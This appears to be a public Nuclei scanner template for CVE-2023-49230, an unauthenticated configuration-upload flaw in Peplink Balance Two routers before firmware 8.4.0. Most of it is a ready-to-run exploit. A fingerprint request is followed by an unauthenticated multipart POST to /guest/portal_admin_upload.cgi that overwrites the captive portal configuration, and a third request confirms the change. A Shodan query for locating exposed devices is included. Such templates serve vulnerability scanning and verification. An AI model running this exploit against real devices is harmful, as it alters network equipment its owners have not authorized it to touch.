A vulnerability in Peplink Balance Two prior to version 8.4.0 allows unauthenticated attackers to modify captive portal configurations due to a missing authorization check. Specifically, attackers can upload files via /guest/portal_admin_upload.cgi, with the changes reflected at /guest/preview.cgi?portal_id=1.
PoC代码[已公开]
id: CVE-2023-49230
info:
name: Peplink Balance Two before 8.4.0 - Unauthenticated Config Upload
author: srilakivarma
severity: high
description: |
A vulnerability in Peplink Balance Two prior to version 8.4.0 allows unauthenticated attackers to modify captive portal configurations due to a missing authorization check. Specifically, attackers can upload files via /guest/portal_admin_upload.cgi, with the changes reflected at /guest/preview.cgi?portal_id=1.
reference:
- https://www.synacktiv.com/publications%253Ffield_tags_target_id%253D4
- https://www.synacktiv.com/sites/default/files/2023-12/synacktiv-peplink-multiple-vulnerabilities.pdf
- https://nvd.nist.gov/vuln/detail/CVE-2023-49230
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2023-49230
cwe-id: CWE-862
epss-score: 0.19058
epss-percentile: 0.9512
cpe: cpe:2.3:o:peplink:balance_two_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: peplink
product: balance_two_firmware
shodan-query: html:"PEPLINK"
tags: cve,cve2023,peplink,intrusive,file-upload
flow: http(1) && http(2) && http(3)
variables:
button_value: "{{randstr}}"
http:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/MANGA/index.cgi"
matchers:
- type: word
part: body
words:
- 'Peplink'
internal: true
- raw:
- |
POST /guest/portal_admin_upload.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------370611892836891531633729116268
-----------------------------370611892836891531633729116268
Content-Disposition: form-data; name="option"
edit_page
-----------------------------370611892836891531633729116268
Content-Disposition: form-data; name="mode"
submit
-----------------------------370611892836891531633729116268
Content-Disposition: form-data; name="portal_id"
1
-----------------------------370611892836891531633729116268
Content-Disposition: form-data; name="data"
{"status":"ok","config":{"login":{"access_mode":"open","message":"","tnc_content":"Terms and Conditions.","tnc_title":"Terms and Conditions","tnc_link":"terms","tnc_prompt":"I agree to #TNC_LINK#","back_login_button":"Back to Login","agree_button":"{{button_value}}","session_id1":" ","session_id2":" "},"common":{"hide_quota":"no","landing_url":"","logo_url":"logo.cgi?portal_id=1&type=preview","logo_url_def":"logo.cgi?default=1","uploaded_logo_size":0,"footer":"Powered by Peplink.","footer_default":"Powered by Peplink."},"success":{},"reach_quota":{},"quota":{"limit":{"data":0,"session_timeout":1800}}}}
-----------------------------370611892836891531633729116268
Content-Disposition: form-data; name="logo_action"
x
-----------------------------370611892836891531633729116268
Content-Disposition: form-data; name="logo"; filename=""
Content-Type: application/octet-stream
-----------------------------370611892836891531633729116268--
matchers:
- type: word
part: body
words:
- '"status": "save_success"'
internal: true
- raw:
- |
POST /guest/api.cgi HTTP/1.1
Host: {{Hostname}}
mode=info&option=preview&portal_id=1
matchers:
- type: dsl
dsl:
- "contains(body, '{{button_value}}')"
- "status_code == 200"
condition: and
# digest: 4b0a00483046022100b2dd35e54a1f40d8b1180ea50f5dafc8bcc6713aa3f0006db76ab66b13d46143022100e08a27d6f4ef45058e689f14b1967e657b5181915f61cf6cd90e0b88b76a1e08:922c64590222798bb761d5b6d8e72950